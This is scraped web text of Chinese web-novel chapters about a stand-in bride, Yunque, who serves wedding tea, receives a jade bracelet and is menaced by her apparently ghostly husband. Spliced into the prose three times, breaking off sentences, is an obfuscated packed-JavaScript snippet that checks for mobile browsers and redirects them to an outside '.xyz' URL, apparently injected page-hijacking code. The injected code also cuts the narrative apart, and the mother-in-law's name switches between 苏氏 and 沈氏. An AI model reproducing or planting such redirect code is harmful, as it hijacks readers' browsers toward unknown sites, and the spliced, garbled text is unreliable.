;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995527|178153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸将她从头到脚扫视一遍,目光落在发髻上时,眉头立时拧紧,脸色也沉了下来:“少夫人,请注意言行仪态。此处是侯府,非市井街头,您如今是林家的四小姐!” 云雀被她斥得莫名其妙。自己分明已穿戴整齐,发髻妥帖,连最嫌麻烦的脂粉都匀上了,何处不得体?又何处失了仪态?莫非……她撞见了阿九从房里出去? 刚要分辩,只听秦嬷嬷又冷又硬道:“哪家大家闺秀是自己动手绾发的?还绾的是已婚妇人的发式?!” 云雀心头豁然。 方才被那两个丫鬟搅得心烦,一时疏忽了。可眼下只得她们二人,出了这院子,谁又知道这发髻是她自个儿绾的呢?这嬷嬷何至于如此摆谱压她,分明是借机警告她罢了。 如今敌暗我明,替嫁这潭水有多深尚未可知,任何人都有可能是那黑衣人的耳目。此刻她依旧顶着林云舒的身份,纵有千般不忿,也不能在临门一脚得罪小人,需得安安分分,切莫出任何岔子才好。 云雀眼睫低垂,顺从地轻声应道:“嬷嬷教训的是,日后定让人伺候梳妆。” 秦嬷嬷刚要再训诫两句,眼角余光忽瞥见院门方向行来几人。 为首的是一位管事嬷嬷,约莫五十上下年纪,身形微丰,穿着浅驼色绸缎褙子,配一条墨绿色马面裙,十分体面。一张圆脸盘上挂着和煦笑意,瞧着颇为和善。 秦嬷嬷那张严厉的面容瞬间冰雪消融,堆满热情与恭谨的笑,几步迎上前:“哎哟!这不是李嬷嬷么,怎么亲自过来了?” 云雀心下明了:这是东院主事嬷嬷,侯夫人身边得力的人,也难怪秦嬷嬷变脸比翻书还快。 “夫人打发我来瞧瞧少夫人起身了不曾?”李嬷嬷声音听着与人一样和善,待行至近前,对云雀规规矩矩福了一礼: “少夫人,侯爷、夫人和老祖宗知您昨夜辛苦,特意让您多歇了片刻。只是眼看就到巳时,合该去主院敬新妇茶了。” 云雀好不容易强压下的怒火又窜上心头,暗骂:这恶鬼到底跟多少人胡编乱造昨夜之事了? 她心中气恼,可到底不敢显露,只得作羞赧状垂了垂颈,柔声道:“有劳嬷嬷费心引路。”说罢,便安静地随在李嬷嬷身后,往主院行去。 踏入东院,云雀甫一抬头,那道阴魂不散又令人心悸的身影,便直直撞入眼底。 不,确切来说,是鬼影。 云雀不由步子一顿,喉间发紧,下意识咽了咽口水。 江聿风,此刻竟安然端坐于轮椅之中,闲适得仿佛无事发生。那副谦和如玉的模样,谁能想到这副皮囊之下,是一个冰冷无心、还胁迫着她的恶鬼? 她深吸一口气,用力掐了掐手心,强迫自己脸上挤出一点温顺乖巧的笑容,才重新抬起脚步。 距堂门尚余数步,那“鬼影”似有所感,毫无征兆地倏然回首,目光恰恰迎上云雀,唇边旋即绽开一抹极温柔的浅笑。 笑意温润澄澈,日光流淌过那对好看的眉眼,沉静的眸子纯净得能映出人影,竟一如合卺酒前,那个会因一声“夫君”便耳根泛红的呆子。 云雀怔愣了一瞬,也恍惚了一瞬。 这恶鬼……想来也舍不得家人。纵使怨念再深,在至亲面前,或许还残留着一丝江聿风的本心。 当年外祖母咽下最后一口气前,枯槁的手紧攥着她的手,浑浊的眼里全是不甘与牵挂,直到最后一丝光熄灭,那声未完的“云雀……”成了她心上永远的钝痛。 阴阳永隔,本就是生生撕裂骨肉的至痛。 此刻,她看着轮椅上那个强留人世的孤魂,心底忽然有些不是滋味。 原来对尘世至亲的不舍与牵挂,竟是这般沉重、这般不甘,重到让亡魂挣脱了黄泉的禁锢,甘愿以厉鬼之姿游荡人间。 心里像被什么东西狠狠撞了一下,又酸又软,她似乎对这份执念终于懂了三分。 正晃神,一道苍老却中气十足的女声自堂上首座传来: “哎哟,终于来了?” 9. 新妇茶 云雀回过神,慌忙循声望去。 只见那主座上端坐着一位身着绛紫色祥云纹锦缎袄的老妇人,满头银发梳得一丝不苟,以一枚水头极好的翡翠大抹额压住,更衬得她面如满月,目光矍铄,虽眼角唇边刻着岁月的深痕,却自有一股不怒而威的气势。 云雀一眼便认出来了,这位定是永定侯府的老太君。她回忆着那本册子里所书: 老太君出身将门,年轻时便以泼辣果决闻名,后嫁与开国侯爷,一生经历风雨无数,如今稳稳坐镇侯府,是真正定海神针般的人物。 她心中不由生出几分敬畏,不敢怠慢,连忙敛衽,行了个规规矩矩的万福礼:“孙媳给老祖宗请安。” 老太君目光在她身上转了一圈,满意地点点头,侧头对身旁的人打趣道:“老话说‘丑媳妇才怕见公婆’,咱们这新媳妇水葱似的标致可人,怎么反倒羞答答来迟了?” 云雀心知是自己拖沓太久,脸上一热,忙屈膝深福下去请罪:“老祖宗教训的是,是孙媳惫懒起迟了,让长辈们久候,实在不该,请老祖宗责罚。” 话音未落,便听另一道温和的女声含笑解围:“云舒快别往心里去,老祖宗这是喜欢你,与你说笑呢。” 云雀依言抬眸,目光微移,转向老太君下首左侧端坐的那对中年夫妇。两道视线正稳稳落在她身上,眼中的欣喜与疼惜浓得化不开。 不必猜,这定是永定侯江宏远与夫人苏氏无疑。 侯爷身着深青色云纹常服,面容清癯,眉目舒朗,鼻梁高挺,依稀可见年轻时的俊逸风姿,夫人苏氏温婉清雅,观其容貌,便能知晓江聿风那副绝佳皮相的由来,岁月似乎格外善待于她,只在她眼角眉梢添了些许细纹,一双妙目依旧清澈温和。 云雀不敢多看,垂眸敛衽,依着秦嬷嬷此前教的,对着二人盈盈下拜,“儿媳云舒,给父亲大人、母亲大人请安。” 话音未落,苏氏便已按捺不住,亲自起身快步迎上,一把拉住云雀的手,仿佛得了稀世珍宝般左看右看,笑得眼角弯弯,口中迭声道:“好孩子,快别拘礼了,一家人哪用得着这些虚礼。”竟是连跪下敬茶的规矩也顾不得了,直接拉着她在自己下首的圈椅里坐下。 待云雀坐定,沈氏的手仍未松开,反倒轻拍着她的手背,目光热切地转向对面轮椅上的江聿风,“瞧瞧,风儿今日这气色,着实亮堂了不少。” 云雀在心里翻了个白眼,他此刻这好转的气色,全是吸了她的阳气换来的。 沈氏话到一半,那双与江聿风肖似的眼睛便含着探究和笑意,飞快地在云雀和江聿风之间打了个来回。 “风儿这孩子自小不喜人近身伺候,昨儿夜里连守夜的丫头都早早打发出去了……”她微微倾身,压着以为旁人听不到的声音,“……你们夫妻二人,昨夜相处得可还习惯?风儿不知轻重,也不知可有委屈你?” 云雀脸颊登刻火烧火燎,恨不能寻条地缝钻进去。 方才她还觉得这位夫人温婉可亲,刚松下一口气,万没料到,这新婆母不讲规矩、不交待别的,开口竟是说这种“体己话”。 这、这该如何接话? 所幸,堂上主座适时响起一声不轻不重的咳嗽。 “咳嗯。” 老太君的声音不高,却如及时雨般,“好了好了,孩子们的事,做长辈的打听那么细做什么?女儿家脸皮薄嫩,闺房私语,你叫她如何接话?” 苏氏被老太君一说,这才惊觉自己方才那番私语已被听了去,面上不由一赧,忙垂眸恭顺应道:“母亲说的是,是媳妇欢喜糊涂了。” 云雀看在眼里,心中对老太君的敬服又添几分。 该有的礼节终究不能含糊。 很快便有丫鬟捧着红漆托盘,奉上新妇茶。云雀起身,打起十二分精神,拿出看家做戏的本事,低眉顺眼,姿态恭谨地将茶盏依次奉与老太君、永定侯,最后是侯夫人沈氏。 礼毕,她抬眸瞥了眼堂内,心下微感诧异。 她分明记得那蓝皮册子里记得清楚,江聿风之上还有一位兄长,侯府大公子江聿秋。虽说大公子长年戍守边关,但去年确已迎娶了正室夫人。长兄不在,长嫂于情于理也该来受这杯新妇茶才是。 江宏远似乎看出她心中疑惑,温声解释道:“你长嫂性子喜静,不惯热闹。平日里深居简出,在自己院中焚香礼佛,清修自持,等闲是不出来的。秋儿与她成亲次日便奉旨远赴西北边陲,一去经年,她心中郁结难免。你初来乍到,莫要多心,且多体谅些。” 云雀闻言,立刻垂首,“云舒初来,不敢打扰长嫂清静。待日后机缘合适,自当亲往拜见,才是礼数。” 如果有“日后”的话,她想。 接着,堂上众人便略过此节,拣些家常闲话,气氛重又热络起来。 言谈间,云雀也大致听明白了: 这永定侯府上不但是皇亲,老老侯爷更是开国元勋。爵位世袭罔替,代代儿郎皆以军功彪炳。到了江聿风这一代,长子江聿秋已承父业,远戍西北,常年不在京中。而二公子江聿风,自幼便不喜弓马,反而天资聪颖,于诗书上极有进益。 江家虽是功勋卓著的武将世家,可如今大周朝堂重文轻武之风日盛,他们家虽地位尊崇,私下里却难免被某些清流讥为“粗鄙武夫”。 正因如此,阖府上下,几乎将扭转门庭、跻身清流的全部期望,都寄托在了江聿风一人身上。个个都盼着他养好了身子,下场科举,金榜题名,成为江家百年来第一位正经八百的文官老爷。 “如今风儿成了家,看着心气儿也足了些,”侯爷捋着胡须,望向轮椅上“气色尚可”的儿子,眼中满是欣慰,“只要身子骨真能一日好过一日,待他日考取了功名,我江家便是真正的文武兼备,到那时才算扬眉吐气。”一家人越说越高兴,仿佛那锦绣前程已是触手可及。 云雀有一搭没一搭地听着。 或许是对江聿风留念人世的理解,或者是这一句句期盼教她想起了外祖母,又或者是她太久太久未曾感受过亲情,心里头那点恼怒和尴尬,在听到最后几句关于“希冀”、“科举”、“文官”时,莫名地淡了下去,反而泛起一丝极其微弱的怜悯。 看着这一屋子人笑语喧阗,云雀默默叹了两个字:可怜。 可怜他们满心欢喜地编织着未来的万丈霞光,浑然不知他们唯一的指望,昨夜就已经七窍流血,死透了…… 云雀不露声色地看一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995528|178153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂内众人,江家上下对江聿风呵护备至,视若珍宝。上京城人人都知他是个缠绵病榻、几乎四年不曾出门的病秧子,能有什么深仇大恨的仇家? 即便侯府树大招风,真有敌对势力,矛头也该指向手握兵权、前途无量的大公子江聿秋才对。谁会费尽心机,把致命的枪口,对准一个毫无威胁、行将就木的病人? 她又下意识将目光移向轮椅上那个“人”。 只见他那张人畜无害的脸上,挂着温润得体的浅笑,眼神清亮专注,正认真听着家人说话,间或微微颔首应和。 她刚要移开视线,江聿风倏然抬眼望来。 视线猝然相撞。 云雀心头猛地一跳,被那目光烫着似的,慌忙垂下眼睫。 正这时,一直含笑看着孙儿的老太君轻轻叹了口气,“我这把老骨头,撑着这口气熬啊熬……熬了多少年了?不过就是盼着,有朝一日,能在咱们侯府那门楣上,也能堂堂正正地挂上一块进士及第的金匾么?” 苍老却依旧清亮的眼中竟泛起一丝泪光,“风儿啊……祖母不怕闭眼,祖母只求你……只求走之前能了却心愿。若能看到你高中金榜,光耀江氏门楣,祖母便是立时咽了气,也安心了。” 这话语中的沉重与期盼,压得堂内一时寂静。 江宏远眼圈微红,哽咽劝慰:“母亲快别说这等伤心话。您老福泽深厚,定能长命百岁,亲眼看着风儿蟾宫折桂。” 江聿风迎上老太君的目光,脸上那温润的笑意似乎更深了些,温和而笃定道:“祖母安心,孙儿记下了。”他顿了顿,目光转向苏氏,带着安抚的意味。 苏氏得了儿子这一眼,心下一松,又见老太君神情凄楚,抬手拭了拭眼角,吸着鼻子笑道:“这大喜的日子,咱们不说这些。风儿如今成了家,身子骨眼见着也好转了,这才是顶顶要紧的。母亲您就放宽心等着,指不定明年开春,咱们府上就双喜临门。风儿金榜题名,您老人家还能再抱个白白胖胖的金孙呢!” 侯爷也捋须点头,接口道:“夫人说得极是!开枝散叶,亦是家门兴旺之兆。” 眼瞧着席间谈兴愈浓,话头儿竟从儿子的锦绣前程,一路顺溜地拐进了“含饴弄孙”的热络里。几道殷切的目光,不约而同地落在了云雀身上,烫得她心头发紧。 云雀顿时如坐针毡,后背沁出一层薄汗来。 她心中暗忖,只觉走为上计,于是微微蹙起眉心,指尖摁住突突跳动的额角,正欲寻个身子不爽利的由头起身告退。 人还未离席,忽听得一道温醇嗓音自身侧响起:“舒儿……” 云雀先是一怔,循声望去,正对上江聿风含笑看过来的眸子。 那眼神温润似玉,声音也放得极柔,宛如三月春溪。 可云雀心头却猛地一沉,生生从那脉脉温情里,嗅出了一丝无声的胁迫。 她指尖微凉,只得依言起身,挪到他近前,硬着头皮软声道:“夫君……”话音未落,轮椅上那人倏然有了动作。 只见江聿风一手撑着扶手,另一手带着不容抗拒的力道,猛地扣紧云雀垂在身侧的手腕。 云雀浑身一僵,惊愕地抬眼看去。 他……这是要做甚么?! 10. 玉镯 在满堂惊愕的目光中,江聿风竟借着云雀手腕的支撑,一点一点,带着显而易见的吃力,从轮椅上缓缓站了起来。 “风儿!”侯夫人以帕掩口,喜极而泣。 “二少爷!”下人中也传来抑制不住的惊呼。 老夫人更是拄着拐杖欲起身,声音哽咽:“好……好孩子。” 霎时间,惊喜的低呼和赞叹淹没整个厅堂。昨日拜堂,坐在轮椅中尚直不起身的二公子,今日竟能借新妇之力站立了。 真真是天降吉兆! 唯有一人,此刻如坠冰窟。 云雀被迫承着江聿风身体的大半重量,冰冷、沉滞,毫无活人应有的温热。 更令她心胆俱寒的是,江聿风站稳身形后,非但未松手,反而顺势将她那只早已被攥得生疼的手腕,强硬地、牢牢地摁在了他心口那片冰冷的衣襟之上。 苍白的大手覆在她手背上,指骨嶙峋,力道极大。 落在旁人眼中,俨然是一对璧人相依相偎、耳鬓厮磨的旖旎情致。苏氏见状,更是欣慰地拭了拭眼角。 云雀却心知肚明,这哪是半分温存亲昵?分明是这厉鬼无声的警告,赤裸裸的威慑。 亏得她方才还心生触动,甚至于有一瞬恍惚,以为那个温良如玉的江聿风回来了。 目下看来,这恶鬼不仅凶戾非常,还极擅伪装,狡诈至极。 这头暗骂声未息,耳畔便响起几声江聿风式的轻咳。 他微侧过脸,对着上首几位长辈温言道:“是孩儿不孝,累得长辈忧心多年……”言语间,他抿了抿唇,将那紧扣的五指又收束了几分,转向云雀,“……如今有了舒儿,我二人自当加倍用心,迎头赶上。” 迎头赶上?赶上什么? 云雀只觉额角青筋都在跳,难以置信地瞪向他。 只见江聿风正好整以暇地回睨着她,那张苍白俊美的脸上毫无愧色。 谁能想到这生前端方自持的人,化作厉鬼后竟能如此厚颜无耻,甚至见她目光投来,不忘深情低语,补了一句:“辛苦娘子。” 云雀飞快垂眸,面上端的是新妇羞赧,实则几乎将牙都要咬碎了去,半晌才勉强放柔语气: “不、不辛苦。倒是夫君,气色方才见好些,身子骨还虚,不宜太心急……”话音落,她身形巧妙一转,顺势将他扶回轮椅,“……还是先坐下罢。” 江聿风依旧看着她,唇角笑意未减,声线却压低了几分,“若是不心急些,只怕娘子先弃我而去了。” 末了二字咬得颇重,随着话音落,云雀便觉得摁上自己手上的力道也随之加重。 云雀僵硬地扯了扯嘴角,“夫君说笑了,妾身如何舍得……” 当着众人的面,她不信江聿风会当即发难,于是礼尚往来,压着“舍得”二字的尾音,暗自蓄力,猛地抽回手。 江聿风掌心陡然一空,空出的手僵滞几息,这才掩至唇边,偏首低咳两声,微敛了敛眸。 堂内众人见这相敬如宾又难舍难分的一幕,皆是惊喜不已。 老太君眼中泪光微闪,默然片刻,朝江宏远与沈氏递了个眼色。 江宏远面露迟疑:“娘,是否太仓促了些?再等等看?” 苏氏急得推了他一把:“等什么?你没瞧见吗?能娶到云舒是风儿的福分,母亲慧眼识珠,岂会有错?” 不待江宏远再开口,老太君已颤巍巍起身,示意捧着锦盒的丫鬟跟上,一步步走到二人面前。 老太君弯了弯眉眼,回身打开丫鬟手中的锦盒,从里头取出一枚玉镯。 那玉镯质地温润,是极干净的淡青色,造型古朴,通体素面无纹,却更显莹透。 老太君将玉镯递到云舒眼前,“孩子,这是风儿祖父早年予我的念想,祖母戴了整整二十年,后又传给你婆母,又是二十年不离身。如今啊,该交到你手上了。”她说着,苍老却温暖的手轻轻托起云雀微凉的手,作势要将玉镯套入她的腕间。 云雀回过神,心头一震。 那玉镯通体剔透,水头盈润,真真切切悬在眼前,眼看就要滑落进她的腕子。 云雀只觉得呼吸微窒,两眼发直,没忍住道:“这水头……怕不得值百两银子?” 话刚出口,她自己先僵住了,慌忙挤出几声干笑遮掩:“我、我是说……太贵重了,太贵重了。”视线慌乱抬起,正正撞进江聿风眼底。 那人眉峰压下,眼底凝霜,一张脸阴沉得能滴出水来。 云雀心下凉了一片。看他那沉黯得骇人的眼神,怕是这镯子再好,也不能要了。 她最后看了一眼那抹翠色,心中纵有万般不舍,还是将玉镯往老太君那边推了推,声若蚊吟道:“孙媳……实在愧不敢受。” 岂料苏氏突然上前一步,温言劝道:“傻孩子,既进了江家门,再贵重的你也担得起。” 不待云雀再次推拒,手腕已被老太君稳稳托住,不容分说,将玉镯套上了她的手腕。 老太君拢住云雀的手,目光在她腕间流连片刻。眼神里似乎沉淀着许多东西,像有长辈深切的期许,像有宿愿得偿后的欣慰,又像还有其它…… 云雀瞧不分明。 “风儿,云舒,”老太君看向他二人,缓声道:“瞧着你们相敬相携,祖母此生足矣。既是天赐良缘,切记用心珍惜。尤其是风儿你……” 她目光转向江聿风,添了几分郑重,“云舒年纪小,从前又受过些委屈,你当好生顾惜。总之,记着祖母一句话:千错万错,都是咱们江家的错,千不该万不该,都不该委屈了自家娘子。” 江聿风眼帘微垂,眸底清寒不易察觉地一敛,默了一默,才低低道:“孙儿谨记。” 老太君颔首,复又看回云雀,温言道:“好孩子,风儿身子骨弱,是委屈你了。但他是祖母眼瞧着长大的,秉性纯善,定会好生待你。你们结成夫妇,是天定的缘分,你既入了江家,往后只管安心。”她拍了拍云雀的手背,“在这府里,若有半分不如意,只管来寻祖母,老婆子为你做主。” 云雀怔忡。 这番话落在耳中,百味杂陈,但也一时咂摸不出滋味来。她似懂非懂,只觉腕上玉镯骤然生出灼人的热度,一股涩意毫无预兆地冲上鼻尖。 这浅浅的一丝酸涩叫云雀自己都惊住了,她慌忙垂眼,闷不吭声地点了点头。 半晌,老太君才又轻轻一拍她手背,一切情绪尽敛于慈和的笑意中,“好了,老婆子也乏了,你们且回吧。” ***** 得了这么一支又沉又烫的镯子,云雀总觉得浑身不自在。 方才第一眼见它时,她连该去哪家铺子、能当多少银子都盘算了个遍。可如今真真落到手里,反而生出一种甩不脱的滞涩感。 不要?她舍不得。 要?心头又莫名沉坠得发慌。 拿,还是不拿?心中百般纠结,以至于一路推着江聿风的轮椅穿过回廊,连对这恶鬼的惧怕都一时忘却了。 直至一道清朗声线蓦然截断她的思绪—— “公子回来了。” 云雀倏然抬眼,才惊觉已置身南院。 一名约莫二十出头的男子迎上前来,他身姿挺拔,穿着侍从规制的衣物,却自有一股清雅之气,毫无仆役惯有的瑟缩之态。若非这身装束,换上锦袍、执一把折扇,任谁看去都会以为是哪家潜心治学的温润公子。 云雀脑中飞快搜寻着信息。 那本蓝皮册子里提过,江聿风有个贴身侍从,是南院唯一名字不带药味儿的下人,叫什么来着?似乎是俩字,还挺难写。 念头未落,只听得那人温声道:“墨翎见过少夫人。” 离得近了,云雀这才看清他的长相,一支半旧的玉簪束发,面容清秀俊朗,眼神清亮平和,透着一股子书卷浸润过的沉稳。虽说比起江聿风那张颠倒众生的脸还稍逊一筹,但也是丢在人堆里能一眼挑出来的出挑人物。 更重要的是,这墨翎是江聿风自幼一同长大的贴身侍从,必是其心腹,深谙主人脾性。看来这三日如何安然度过,过得怎样,关键多半落在此人身上。 思及此,云雀唇边绽开一抹明朗的笑意:“原来你就是墨翎,当真是一表人才。” 墨翎闻言微怔,下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995529|178153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意识地迅速觑了一眼自家主子的神色。见江聿风面上依旧是那副淡淡的、辨不出情绪的模样,他似乎才不着痕迹地松了半口气,随即后退一步,深深一揖:“少夫人过奖了,墨翎愧不敢当。” 言毕,他抬手轻点了点轮椅扶手,温声道:“少夫人,不如交由小的来?” 云雀心头正求之不得,面上却只不动声色地退开半步,莞尔道:“也好,我终究手生,不及你稳当周全。” 墨翎垂着眼帘应了声“是”,伸手去接那扶手时,指尖却似不经意地掠过云雀尚未完全收回的手背。 不过是蜻蜓点水般的触碰,云雀浑然未觉,目光一转,却瞥见墨翎的耳根竟以肉眼可见的速度,倏地漫开一片滚烫的红晕,连带着颈侧肌肤都泛起薄绯。 这样爱红耳尖反应,跟他主子还真像。 云雀眼波流转,瞥向江聿风那纹丝不动的后脑勺,不知想到什么,不由掩唇笑了一下。 墨翎只当未见,将头垂得更低了,恭谨道:“公子,午膳已按您的吩咐,在花厅备齐了。” 轮椅上静默了一瞬,传来江聿风平淡无波的声音:“不急。”他顿了顿,似在斟酌字眼,“眼下……没什么胃口。” 云雀一听,眼睛差点亮起来。 她晨起便粒米未进,此刻看着丫鬟们捧着热气腾腾、香气四溢的珍馐鱼贯而入,早已是饥肠辘辘。闻此言更是暗自雀跃: 果然……鬼魅之躯哪能消受人间烟火的,他不吃正好,这一桌子美味都归我了。 哪知高兴不过一息,却听得那道清冷的声音再次响起:“舒儿,陪我去月湖边走走可好?” 湖? 一个字,如一盆冰水兜头浇下。 不好,当然不好! 那湖可是她昨夜才沉下尸首的地方,倘若走着走着,这煞气深重的厉鬼感应到自己葬身之处,忽然凶性大发该当如何? 云雀艰难挤出一个笑,“夫…夫君,湖边风大,恐怕……” 话未说完,见江聿风的目光,若有所指地朝道旁轻轻一点。 云雀顺着他的视线望去,只见几株垂柳蔫头耷脑地立着,枝条纹丝不动,枯黄的柳叶卷得像油炸馓子,却连一片都未曾飘落。 竟一丝风也无。 云雀只得生生将这个自己都觉得荒谬的借口咽了回去。 心念电转,她旋即又堆起笑,声音更软几分,“眼看就到午时了,这秋老虎的暑气最是厉害,不如……” “墨翎,”江聿风冷然截断她的话头,“如今是几月几时?” 墨翎立刻躬身,背书似的清晰作答:“回公子,今日是九月十七。依《帝京岁时纪胜》所载,京中秋暑多在八月初时,如今已入深秋,暑气早消。” 云雀简直想当场找根针线把墨翎那张煞风景的嘴给缝上。她暗暗磨牙,心底恨恨:方才还像个闷葫芦,这会儿倒是机灵起来了。 她撇了撇嘴,心头将那喜怒无常的恶鬼腹诽了千百遍,正磨磨蹭蹭、满心不情愿地准备再去推那沉重的轮椅。 岂料,江聿风竟毫无预兆地自轮椅上霍然起身。 墨翎神色一紧,忙抢步上前欲搀扶:“公子当心……” “不必。”江聿风淡声打断,话音未落,右手已极其自然地探出,精准地攥住了云雀的手腕,旋即下滑,五指强势地嵌入她的指缝之间,扣牢。 他做这亲昵姿态时,目光却并未落在云雀身上,反而直视着墨翎,语气平淡得仿佛在谈论天气:“舒儿陪着就好。” 墨翎的目光掠过那双十指紧扣的手上,又如同被无形的火焰灼烫,迅速移开。 他后退半步,“是,小的告退,不打扰公子与少夫人了。” 江聿风微微颔首,不再多言,牵着仿佛被他定身般的云雀便径直往月湖方向走去。 方走出一步,他脚步稍顿,侧首回眸,丢下一句:“日后,但有少夫人在侧,你不必近前侍候。” 清冷的声音在寂静的回廊里显得格外清晰。 墨翎袖中指节紧了紧,躬身更深了些,喉咙里压出一个极沉的字:“遵命,公子。” 11. 吃味 湖面波光潋滟,水鸟悠然浮游,本该是一派宁静疏朗的秋日画卷。 云雀却只觉得如芒在背。那整条靠近他的胳膊都仿佛浸在冰窟里,一颗心更擂鼓般狂跳不止,几乎要冲破喉咙口。 江聿风一路无言,脚下步伐却愈来愈疾。 临近湖边,云雀几乎是被他连拖带拽地往前踉跄,脚步虚浮不稳,眼看一只绣鞋的鞋尖就要蹭到湿冷的湖水。 “夫君!”恐慌之下,她失声急唤。 二字一出,江聿风骤然停步。 云雀收势不及,整个人失控地往前扑去,眼看就要一头栽进那深不见底的湖水里。手腕猛地传来一股巨力拉扯,天旋地转间,后腰被一只冰冷的手臂死死扣住,重重撞进一个寒气森森的怀抱。 高大的身形携着迫人的寒意覆压而下,将她全然笼入阴影。 即便江聿风清瘦至此,此刻紧贴的身躯也让云雀无比清晰地感受到男性躯体里蕴藏的力量,以及那绝对悬殊的体型压制带来的窒息感。 云雀呼吸一滞,每一寸肌肤都绷紧到了极致。 江聿风冷眼扫过粼粼湖面,薄唇勾起一抹若有似无的弧度,“娘子当心脚下,湖水深寒刺骨,若是不慎像为夫昨夜那般沉下去……”他顿了顿,扣在她腰侧的长掌收紧几分,“难免叫人心疼。” 此言一出,云雀总算明白了,此“人”突然将自己强行拖来湖边,果然没安好心,无非是昨夜抛尸的旧事又成了他胁迫、恫吓的新把戏。 她强自镇定,试图深吸一口气压下翻涌的恐惧,可那口气刚提到一半,又似想起什么,立时屏住呼吸,尽力别开脸,“夫君眼下……安然无恙就好……” 那双毫无温度的眸子一瞬不瞬地锁着她。 她仿若被钉在原地,不敢挣扎,甚至不敢呼吸。不过片刻,脸颊便因窒息涨得通红,纤长的睫毛如同濒死的蝶翼,失控地颤抖起来。 蝶翼般的睫羽急促地扇动着,搅动着两人之间近乎凝固的空气,也仿佛一下下扇在某人心头那难以揣测的波澜上。 “安然无恙?”江聿风终于嗤笑出声,那笑声短促而冰冷。 他微微仰首,目光掠过澄澈高远的秋空,发出一声似真似假的慨叹:“方才在堂前,为夫不过是强撑精神,粉饰太平,免叫长辈忧心罢了。” 话锋倏然一转,视线沉沉落下,如同实质般在她眉眼间逡巡,最终定格在那温软粉嫩的唇瓣上。 声音陡然压低,带着一丝危险的亲昵:“至于为夫究竟有无大碍……这可得要看娘子日后的‘表现’了。” 云雀喉咙发紧,挤出一个极其干涩的笑容,奋力将脸别得更开了,“夫君说笑了。妾身自是与夫君同心,也不愿叫祖母他们忧心。” 她刻意将“祖母”二字咬得极重,寄望于方才老太君那番语重心长的嘱托,盼着腕子上这支玉镯,能唤醒眼前这人一丝残存的理智。 江聿风听罢,扣在她后腰的那只宛如冰铸的手,竟当真松开了几分力道。 云雀心头一松。 可那口悬着的气刚落回嗓子眼,两只手腕猝不及防地被同时锁紧。修长苍白的手掌带着不容抗拒的力量,再次将它们牢牢嵌入掌心,纹丝难动。 晨间厢房内那令人心悸的钳制感瞬间回笼,熟悉的感觉侵袭而上。这感觉不是恐惧,抑或不仅仅是恐惧,而是一种无措,甚至无力之感。 经过早前那番试探,云雀心知肚明,这位在床笫之间都力有不逮的“男人”,理应不会在这光天化日的湖边对她做出什么逾矩之事。 然而,正是这种明知他怒火中烧,却如同迷雾般完全摸不清这怒焰从何而起、因何而炽的感觉,让她难受至极,甚至隐隐生出几分职业性的挫败。 她早已练就一身见人说人话,见鬼说鬼话的本事。可此刻,面对眼前这个真正的、喜怒无常的“鬼”,她竟无从下口,仿佛一拳打在无形的云絮上。 还有整整三日。 若不能尽快摸透他阴晴不定的脾性,恐怕等不到被吸干阳气,这两只手腕就得先被他寸寸捏断了去。 心绪飞转间,额角很快沁出一层细密的冷汗。 江聿风视线落在那点晶莹的湿痕上,指腹冰凉,狎昵而缓慢地拭过微蹙的眉心、轻颤的眼睫,沿着脸颊一路滑下,落至她紧抿的唇角。 指尖在那里微妙地一顿。 "娘子方才在他人面前尚且笑语嫣然,为何此刻对着为夫……却吝于展颜?” 云雀脑中仿佛“叮”地一声清响。 笑?他此刻怒极至此竟是因为自己对他人笑了? 一个荒谬至极、连她自己都觉得难以置信的念头猛地窜了出来:他……该不会是在吃味吧? 不等她细想,江聿风状似无意地开口,语气却透着一股此地无银三百两的僵硬:“你莫要多想,为夫岂会为此等小事吃味?不过是忧心娘子言行无状,与些不相干之人过从甚密,平白落人口实,惹来麻烦罢了。” 果然是吃味了! 云雀一时啼笑皆非,荒谬感冲淡了些许恐惧。她飞快回想,方才何时笑得欢了?又何时与人走得近了? 正自琢磨这“鬼夫君”的别扭心思,江聿风见她沉默不语,似乎生怕她没领会其中“深意”,竟又略显急促地轻咳一声,压低声音,几乎是咬着牙补充道:“尤其是……要懂得主仆尊卑,莫要与下人失了分寸。” 云雀简直要被他这欲盖弥彰的“解释”逗乐了,没忍住,脱口而出:“夫君是指……墨翎?” 江聿风倏然沉默。 那双一直幽深无波的眸子转瞬暗沉下去,眼底深处似有暗流汹涌翻搅。 不等云雀读懂这复杂难辨的眼神,眼角余光意外警见他的耳尖,晕开了一片淡淡的绯红。 云雀瞪大眼惊呼,“夫君!你的气血又回来了些!” 江聿风浑身一僵,旋即反应过来,如同被踩了尾巴的猫,愤而松开了钳制她的手,带着一股近乎狼狈的怒意,拂袖转身。 